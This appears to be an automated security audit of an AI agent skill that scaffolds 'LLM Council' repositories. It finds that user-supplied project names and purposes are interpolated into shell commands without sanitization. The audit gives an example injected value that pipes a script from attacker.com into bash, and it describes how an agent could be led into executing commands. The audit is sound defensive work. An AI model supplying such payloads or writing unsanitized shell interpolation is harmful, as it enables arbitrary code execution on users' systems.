The Agent Skills Directory

[COMMAND_EXECUTION]: The skill uses the Bash tool to automate project setup, executing commands like git clone, rm -rf, git init, git add, git commit, and gh repo create to manage repository state and history.
[EXTERNAL_DOWNLOADS]: The skill downloads template source code from GitHub repositories associated with the author (danielrosehill/LLM-Council-Template, danielrosehill/LLM-Council-Grounded, and danielrosehill/LLM-Council-Decide).
[PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection (shell injection variant). It ingests untrusted user data for project metadata and uses it to construct shell commands.
Ingestion points: Step 1 'Gather requirements' in SKILL.md collects the 'Purpose' and 'Repo name' from the user.
Boundary markers: There are no delimiters or instructions to prevent the agent from executing shell metacharacters contained within the user-provided strings.
Capability inventory: The skill uses Bash and Write tools, providing an execution path for injected commands.
Sanitization: No sanitization, escaping, or validation is performed on the user input before it is interpolated into shell strings.
[REMOTE_CODE_EXECUTION]: The lack of input sanitization for variables used in shell commands (e.g., git commit -m "Initial scaffold: LLM Council for <purpose>") creates a surface for arbitrary command execution. If a user provides a purpose like "; curl http://attacker.com/script | bash; #", the shell may execute the malicious payload during the scaffolding process.

new-llm-council